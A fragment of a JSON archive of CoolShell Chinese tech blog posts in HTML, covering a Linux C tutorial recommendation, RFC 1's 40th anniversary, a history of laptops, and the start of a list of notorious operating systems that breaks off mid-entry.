class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17459.html\"><img alt=\"关于高可用的系统\" height=\"150\" src=\"../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/363.html\">35个强大的UI设计教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-7 Linux C 编程一站式学习.html",
    "content": "<html><body><p>个人认为这是一个挺不错的从C语言到Linux系统开发的教程，这本是两个网上的文档。</p>\n<ul>\n<li>其中 一本是《<span class=\"term\">How To Think Like A Computer Scientist: Learning with C++</span> 》作者Allen B. Downey。原书由Green Tea Press发行，可以从<a class=\"ulink\" href=\"http://www.greenteapress.com/\" target=\"_top\">http://www.greenteapress.com/</a>下载到。</li>\n<li><span class=\"term\">另一本是：《Programming from the Ground Up: An Introduction to Programming using Linux Assembly Language》</span>作者Jonathan Bartlett。原书由Bartlett Publishing发行，可以从<a class=\"ulink\" href=\"http://savannah.nongnu.org/projects/pgubook/\" target=\"_top\">http://savannah.nongnu.org/projects/pgubook/</a>下载到。</li>\n</ul>\n<p>不过非常高兴的是有要把这两个文档都翻译成了中文。当然，翻译工作还没有完全完成，第三部分还很粗糙，错误也有不少，有待改进。第一部分和第二部分已经比较成熟，第二部分还差三章没写。不过现在可以阅读了。</p>\n<p>下面是这个文档的网站链接：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://learn.akae.cn/media/index.html\">http://learn.akae.cn/media/index.html</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/360.html\">Linux C 编程一站式学习</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-8 RFC1 40岁生日.html",
    "content": "<html><body><p>昨天（2009年4月7日）是RFC 1的40岁生日。注意，这不是KFC，而是RFC。;-)</p>\n<p>1969年的今天，我们有一第一个RFC（<a href=\"http://www.faqs.org/rfcs/rfc1.html\">http://www.faqs.org/rfcs/rfc1.html</a>）。这成为了以后整个Internet的基础。</p>\n<p>所谓RFC，全称为Request For Comments ，是一系列以编号排定的文件。文件收集了有关互联网相关资讯，以及UNIX和互联网社群的软件文件。目前RFC文件是由Internet Society（ISOC）所赞助发行。</p>\n<p>RFC包含了关于Internet的几乎所有重要的文字资料。如果你想成为网络方面的专家，那么RFC无疑是最重要也是最经常需要用到的资料之一，所以RFC享有网络知识圣经之美誉。通常，当某家机构或团体开发出了一套标准或提出对某种标准的设想，想要征询外界的意见时，就会在Internet上发放一份RFC，对这一问题感兴趣的人可以阅读该RFC并提出自己的意见；绝大部分网络标准的制定都是以RFC的形式开始，经过大量的论证和修改过程，由主要的标准化组织所制定的，但在RFC中所收录的文件并不都是正在使用或为大家所公认的，也有很大一部分只在某个局部领域被使用或并没有被采用，一份RFC具体处于什么状态都在文件中作了明确的标识。</p>\n<p><span id=\"more-373\"></span></p>\n<p><strong>RFC的历史</strong></p>\n<p>RFC文件格式最初作为ARPA网计划的基础起源于1969年。如今，它已经成为IETF、Internet Architecture Board (IAB)还有其他一些主要的公共网络研究社区的正式出版物发布途径。</p>\n<p>最初的RFC作者使用打字机撰写文档，并在美国国防部国防前沿研究项目署（ARPA）研究成员之间传阅。1969年12月，他们开始通过ARPANET途径来发布新的RFC文档。第一份RFC文档由洛杉矶加利福尼亚大学（UCLA）的Steve Crocker撰写，在1969年4月7日公开发表的RFC 1。当初Crocker为了避免打扰他的室友，是在浴室里完成这篇文档的。</p>\n<p>在1970年代，很多后来的RFC文档同样来自UCLA，这不仅得益于UCLA的学术质量，同时也因为UCLA是ARPANET第一批Interface Message Processors (IMPs)成员之一。</p>\n<p>由Douglas Engelbart领导的，位于Stanford Research Institute的Augmentation Research Center (ARC)是四个最初的ARPANET结点之一，也是最初的Network Information Centre，同时被社会学家Thierry Bardini记录为早期大量RFC文档的发源地。</p>\n<p>从1969年到1998年，Jon Postel一直担任RFC文档的编辑职务。随着美国政府赞助合同的到期，Internet Society（代表IETF），和南加州大学（USC）Information Sciences Institute的网络部门合作，（在IAB领导下）负责RFT文档的起草和发布工作。Jon Postel继续担任RFC编辑直到去世。随后，由Bob Braden接任整个项目的领导职务，同时Joyce Reynolds继续在团队中的担任职务。</p>\n<p>庆祝RFC的30周年的RFC文件是RFC 2555。</p>\n<p><span class=\"mw-headline\"><strong>RFC文件的架构</strong></span></p>\n<p>RFC文件只有新增，不会有取消或中途停止发行的情形。但是对于同一主题而言，新的RFC文件可以声明取代旧的RFC文件。RFC文件是纯<a href=\"https://coolshell.cn/w/index.php?title=ASCII&amp;variant=zh-cn\" title=\"ASCII\">ASCII</a>文字档格式，可由电脑程式自动转档成其他档案格式。RFC文件有封面、目录及页首页尾和页码。RFC的章节是数字标示，但数字的小数点后不补零，例如4.9的顺序就在4.10前面，但9的前面并不补零。<a class=\"external text\" href=\"http://www.faqs.org/rfcs/rfc1000.html\" rel=\"nofollow\" title=\"http://www.faqs.org/rfcs/rfc1000.html\">RFC1000</a>这份文件就是RFC的指南。</p>\n<p><strong>RFC文件的产生</strong></p>\n<p>RFC文件是由Internet Society审核后给定编号并发行。虽然经过审核，但RFC也并非全部严肃而生硬的技术文件，偶有恶搞之作出现，尤其是4月1日愚人节所发行的，例如<a class=\"external\" href=\"http://tools.ietf.org/html/rfc1606\" title=\"http://tools.ietf.org/html/rfc1606\">RFC 1606</a>: A Historical Perspective On The Usage Of IP Version 9（参见<a href=\"https://coolshell.cn/w/index.php?title=IPv9&amp;variant=zh-cn\" title=\"IPv9\">IPv9</a>）、<a class=\"external\" href=\"http://tools.ietf.org/html/rfc2324\" title=\"http://tools.ietf.org/html/rfc2324\">RFC 2324</a>：“<a class=\"mw-redirect\" href=\"https://coolshell.cn/w/index.php?title=HTCPCP&amp;variant=zh-cn\" title=\"HTCPCP\">超文字咖啡壶控制协定</a>”（<em>Hyper Text Coffee Pot Control Protocol</em>，乍有其事的写了<strong>HTCPCP</strong>这样看起来很专业的术语缩写字）。以及如前面所提到纪念RFC的30周年庆的RFC文件。</p>\n<p><strong>相关链接</strong></p>\n<ul>\n<li><a class=\"external text\" href=\"http://www.ietf.org/rfc.html\" rel=\"nofollow\" title=\"http://www.ietf.org/rfc.html\">IETF RFC</a></li>\n<li><a class=\"external text\" href=\"http://www.rfc-editor.org/\" rel=\"nofollow\" title=\"http://www.rfc-editor.org\">RFC Editor</a></li>\n<li><a class=\"external text\" href=\"http://www.cnpaf.net/class/rfc\" rel=\"nofollow\" title=\"http://www.cnpaf.net/class/rfc\">RFC的中译文档</a></li>\n</ul>\n<p>上面的资料来源于维基百科：<a href=\"http://zh.wikipedia.org/wiki/RFC\">http://zh.wikipedia.org/wiki/RFC</a></p>\n<p><a href=\"http://zh.wikipedia.org/wiki/RFC\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1178.html\"><img alt=\"Internet 技术演变图\" height=\"150\" src=\"../wp-content/uploads/2009/07/Internet-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4907.html\"><img alt=\"在函数外存取局部变量的一个比喻\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4907.html\">在函数外存取局部变量的一个比喻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1484.html\"><img alt=\"TCP网络关闭的状态变换时序图\" height=\"150\" src=\"../wp-content/uploads/2009/09/tcp1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1484.html\">TCP网络关闭的状态变换时序图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3516.html\"><img alt=\"JS游戏引擎列表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3516.html\">JS游戏引擎列表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2631.html\"><img alt=\"五大基于JVM的脚本语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2990.html\"><img alt=\"编程时间分配图\" height=\"150\" src=\"../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/373.html\">RFC1 40岁生日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-8 笔记本电脑的发展史.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg\"></a>这是一段比较有趣的历史，让我们回顾一下笔记本电脑的整个历史吧。可能叫便携式电脑比较好一点。</p>\n<p><strong>1970 – 1981 第一个便携式的电脑概念</strong></p>\n<p>上世纪70年代，Alan Kay 在 Xerox PARC开始有了便携式个人电脑的想法。到了1981年， Osborne 1问世，其由Adam Osborne创造。如下图。Osborne 1 有一个5英寸的屏幕，还有一个可选的电池，两个5 ¼” 软驱，一个 modem 接口，还有一个键盘。当时的价格是$1,800（包括一块电池）。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/osborne1.jpg\"><img alt=\"osborne1\" class=\"alignnone size-full wp-image-385\" height=\"441\" src=\"../wp-content/uploads/2009/04/osborne1.jpg\" title=\"osborne1\" width=\"550\"/></a></p>\n<p> <span id=\"more-378\"></span></p>\n<h3>1981 – 1984 : Gavilan 和 IBM</h3>\n<p>没有多久Gavilan Mobile Computer公司也进入了这个行业。其第一个便携式电脑的原型和今天的笔记本电脑非常相似，而且只有4公斤重并且配备了一个可以运行9个小时的镍镉电池。无论是从性能还是设计上来说，在1983年，这已经是非常超前的。而且这是 Galvin 第一次向市场引入了“移动PC”的术语。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/gavilan-mobile-computer.jpg\"><img alt=\"gavilan-mobile-computer\" height=\"275\" src=\"../wp-content/uploads/2009/04/gavilan-mobile-computer.jpg\" title=\"gavilan-mobile-computer\" width=\"550\"/></a></p>\n<p>Osborne 1的出现后， 微软公司的Kazuhiko Nishi 开始了一个便携式电脑的原型，其采用了LCD显示屏，重量2 kilos，叫做“Radio Shack TRS-80 Model 100 Mobile Computer”，有一个 modem，还有一个无线电通讯的程序，以及一个文本编辑器和一个由微软开发的小程序。总的来说，这更像是一个无线装置。（如下图）</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg\"><img alt=\"radio-shack-trs-80-model-100-mobile-computer\" class=\"alignnone size-full wp-image-388\" height=\"393\" src=\"../wp-content/uploads/2009/04/radio-shack-trs-80-model-100-mobile-computer.jpg\" title=\"radio-shack-trs-80-model-100-mobile-computer\" width=\"550\"/></a></p>\n<p>随着我们的“Radio Shack”让我们的便携式电脑看起来更像是笔记本电脑，IBM也开发进入这个市场，其于1984年开发了Portable PC 5155。但是，这个便携式电脑犯了一个可怕的错误，那就是其“便携”的重量有13.6公斤，而且有一个9英寸的显示器，价格在$ 4000。而且，你还得随时插在电脑插座上，因为它根本没有电池。所以，5155 充其量只不过是一个“可以容易搬动的台式电脑”。不过非常感谢IBM的是，他们只用了1年的时间就终止了这个畸形的产物。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg\"><img alt=\"ibm-portable-pc-5155\" class=\"alignnone size-full wp-image-382\" height=\"368\" src=\"../wp-content/uploads/2009/04/ibm-portable-pc-5155.jpg\" title=\"ibm-portable-pc-5155\" width=\"550\"/></a></p>\n<p> </p>\n<h3>1984 – 1988: Compaq</h3>\n<p>在接下来的几年，笔记本电脑几乎没有什么发展。不过Compaq 公司在1988 的时候开发了一台便携式电脑Compaq SLT 286，有一个VGA的显示器，1.44英寸的软戏和一颗286的CPU，只是重量有6公斤。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/compaq-slt-286.jpg\"><img alt=\"compaq-slt-286\" class=\"alignnone size-full wp-image-380\" height=\"413\" src=\"../wp-content/uploads/2009/04/compaq-slt-286.jpg\" title=\"compaq-slt-286\" width=\"550\"/></a></p>\n<h3> </h3>\n<h3>1989 – 1993:  NEC，Zenith的MinisPORT 以及 第一代的Macintosh</h3>\n<p>NEC 公司改变了便携式电脑重量太重的局面，他的 NEC UltraLite model— 第一个有完整功能的基于MS-DOS的便携式PC机只有4.4 磅（2公斤左右）。而其接下来具有革命性的发展是在90年代，但其开始1989年，由 Zenith Data Systems 公司生产的 Minisport，其带 640K的RAM，1.44英寸的软驱，一个2400波特率的Modem以及一个20MB ESDI 硬盘。虽然其只有一个彩色的LCD显示器，但是，也足够不错了。从此开始了便携电脑的新纪元。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/zeniths-minisport.jpg\"><img alt=\"zeniths-minisport\" class=\"alignnone size-full wp-image-390\" height=\"442\" src=\"../wp-content/uploads/2009/04/zeniths-minisport.jpg\" title=\"zeniths-minisport\" width=\"550\"/></a></p>\n<p>接下来，我们来看一下，苹果公司的第一代Macintosh 便携机，重达8公斤，但是其有 9.8英寸的最大分辨率有 640 x 400像素的显示器。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macportable.jpg\"><img alt=\"macportable\" class=\"alignnone size-full wp-image-384\" height=\"390\" src=\"../wp-content/uploads/2009/04/macportable.jpg\" title=\"macportable\" width=\"550\"/></a></p>\n<p>到了1993年，我们开始有了 256色的显示器，其代表产品是PowerBook 165c。然后，我们开始进入今天，百万像素的真彩色显示器，更好和更轻的的笔记本电脑，更为灵活的设计，更好的性期，并开始有了多媒体包括CD-ROM。然后，真正没有让笔记本电脑流行的是，笔记本电脑的性价比，价格太贵了，像ThinkPad和MacBook也是在那时出现的，但是没有多少人能真正地买得起。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/powerbook-165c.jpg\"><img alt=\"powerbook-165c\" class=\"alignnone size-full wp-image-387\" height=\"400\" src=\"../wp-content/uploads/2009/04/powerbook-165c.jpg\" title=\"powerbook-165c\" width=\"550\"/></a></p>\n<p> </p>\n<p><strong>1996 – 2003 : Panasonic 的ToughBooks 和Intel 处理器</strong></p>\n<p>1996年Panasonic 公司引入了新一代的笔记本电脑——Toughbook (CF-25)，70 cm高，可以抵抗灰尘和水气，非常明显，松下公司想改变便携式电脑的观念，感觉上这个电脑更像是一个军用的。就算是使用枪击过的电脑，电脑也能正常工作。</p>\n<p> <a href=\"https://coolshell.cn/wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg\"><img alt=\"panasonic-toughbook-cf-25-bullets\" class=\"alignnone size-full wp-image-386\" height=\"400\" src=\"../wp-content/uploads/2009/04/panasonic-toughbook-cf-25-bullets.jpg\" title=\"panasonic-toughbook-cf-25-bullets\" width=\"550\"/></a></p>\n<p>以后，直到2003年，直到Intel开发出了不可思异地低能耗的 Pentium M 处理器，其在整个笔记本电脑的发展上写下了重重的一笔，而且价格上开始了巨大的松动，于是笔记本电脑也开始进了一平常百姓家里。</p>\n<p> <strong>今天和未来</strong></p>\n<p>让我们来看看今天的电脑吧。今天，无线连接，蓝牙，Wi-Fi,  DVD 光驱, 高级显卡，宽屏，超薄，口袋电脑，……</p>\n<p class=\"wp-caption-text\">Apple Macbook Air</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/macbook-air.jpg\"><img alt=\"macbook-air\" class=\"alignnone size-full wp-image-383\" height=\"324\" src=\"../wp-content/uploads/2009/04/macbook-air.jpg\" title=\"macbook-air\" width=\"550\"/></a></p>\n<p class=\"wp-caption-text\">Asus EEE PC S101</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/asus-eee-pc-s101.jpg\"><img alt=\"asus-eee-pc-s101\" class=\"alignnone size-full wp-image-379\" height=\"290\" src=\"../wp-content/uploads/2009/04/asus-eee-pc-s101.jpg\" title=\"asus-eee-pc-s101\" width=\"410\"/></a></p>\n<p> </p>\n<p>我们再来看看未来的电脑，下图是Sony VAIO Zoom，一台使用全息技术的笔记本电脑。可能未来还不止如此，让我们一起期望……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sony-zoom.jpg\"><img alt=\"sony-zoom\" class=\"alignnone size-full wp-image-389\" height=\"413\" src=\"../wp-content/uploads/2009/04/sony-zoom.jpg\" title=\"sony-zoom\" width=\"550\"/></a></p>\n<p>文章：<a href=\"http://www.geekwithlaptop.com/laptop-revolution-where-size-does-mater-a-whole-lot/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4170.html\"><img alt=\"我有一个Hello World的C++程序编译不过\" height=\"150\" src=\"../wp-content/uploads/2011/04/JQXWL-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4170.html\">我有一个Hello World的C++程序编译不过</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2036.html\"><img alt=\"2010 = 1+2-(3-4-5)*6*7*8-9\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2036.html\">2010 = 1+2-(3-4-5)*6*7*8-9</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/57.html\"><img alt=\"80个优秀的AJAX方案\" height=\"150\" src=\"../wp-content/uploads/2009/03/34-gnome-1-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/57.html\">80个优秀的AJAX方案</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4561.html\"><img alt=\"对程序员职业的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4561.html\">对程序员职业的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1142.html\"><img alt=\"BT雷人的程序语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1142.html\">BT雷人的程序语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/378.html\">笔记本电脑的发展史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-9 十大史上最恶心的操作系统.html",
    "content": "<html><body><p><a href=\"http://www.computerworld.com/\" target=\"_blank\">Computer World</a>上有人评出了有史以来十大臭名照著的操作系统，我们来看看倒底有那些，顺便也回顾一下操作系统的历史。下面的顺序通过时间顺序由古至今。</p>\n<h4><a href=\"http://www.britannica.com/EBchecked/topic/1461036/IBM-OS360\" target=\"new\">OS/360</a>, 1964</h4>\n<p>这里，说的不是后面新版的OS/360，这里说的是60年代未70年代初的第一版的OS/360。当时的Project Manager，Fred Brooks， 《人月神话》 <em><a href=\"http://www.amazon.com/reader/0201835959#reader\" target=\"new\">The Mythical Man-Month</a></em>的作者，这是一本非常经典的告诉你软件开发是如何失败的一本书。在书中，Brooks解释说，他们需要了比较计划更多的内存，最后导致了预算超标了好几次，当然，最终这个操作系统还是很慢。另一方面，这本书中也出现了一句网络上的流行语：”Adding manpower to a late software project makes it later.” （在项目的后期加入人手只会让项目更拖）Brooks 喜欢像一本软件开发者的圣经一样描述，因为”everybody reads it, but nobody does anything about it.” 在书中他展开描述了这个故事后，我们才知道他是对的。</p>\n<p><span id=\"more-394\"></span></p>\n<h4><a href=\"http://en.wikipedia.org/wiki/Incompatible_Timesharing_System\" target=\"new\"><strong>ITS</strong></a>(Incompatible Timesharing System), 60年代后期</h4>\n<p> 在 DEC PDP-6 和PDP-10 使用汇编语言开发的操作系统上，当你面对着——每一个目录中只能有一个6个字符的文件时，每一个目录？（是的，每一个文件必需放在一个目录中，每一个目录也只能放一个文件），你会有什么样的想法？并且，这个操作系统的安全等零，例如：没有口令系统，你可以随意地登录，并且可以干所有的事。</p>\n<p>但是，实际上来说，ITS却是一个非常重要的操作系统，因为它最终发展成了顶顶大名的Unix，今天许许多多的程序，如 <a href=\"http://www.gnu.org/software/emacs/\" target=\"new\">Emacs 编辑器</a> 和 <a href=\"http://knowledgerush.com/kr/encyclopedia/Lisp_programming_language/\" target=\"new\">Lisp语言</a>，都是从ITS开始的。ITS操作系统，也是电脑黑客最早出现的地方，你可以看一看，Steve Levy 的经典图书 <em><a href=\"http://www.amazon.com/Hackers-Computer-Revolution-Steven-Levy/dp/0141000511\" target=\"new\">Hackers</a></em>.。你会在这本书里找到娱乐和有趣，并会非常高兴自己并没有使用过这个操作系统。</p>\n<p> </p>\n<h4><a href=\"http://www.gnu.org/\" target=\"new\">GNU Hurd</a>, 1983启动，至今也没有完成</h4>\n<p>你想知道为什么今天的Linux要叫做GNU/Linux吗？官方的解释是，Linux只不过是操作系统的内核（<a href=\"http://www.webopedia.com/TERM/k/kernel.html\" target=\"new\">OS kernel</a> ），而其周围全是GNU的软件，从而成为了一个完整的操作系统。 <a href=\"http://www.gnu.org/\" target=\"new\">GNU</a> 曾经在1983年向全世界宣告他们会在未来开发出一个取代Unix的操作系统，以此作为整个自由软件的操作系统。</p>\n<p>但是，25年过去了，GNU还是什么也没有完成，其操作系统内核 <a href=\"http://www.gnu.org/software/hurd/hurd/what_is_the_gnu_hurd.html\" target=\"new\">Hurd</a>，就重来没有真正的开始工作过。虽然这是一个可能非常理想的操作系统，但作者把这个操作系统归入Top 10的理由是——经过了四分之一个世纪，GNU并没有按照自己的承诺完成对Unix的替代。但这个事情却被别的软件所取代，比如：Linux和BSD Unix，让我们看一下Linux那夸张的<a href=\"http://en.wikipedia.org/wiki/List_of_Linux_distributions\" target=\"new\">数量众多的发行版</a>吧。</p>\n<h4><a 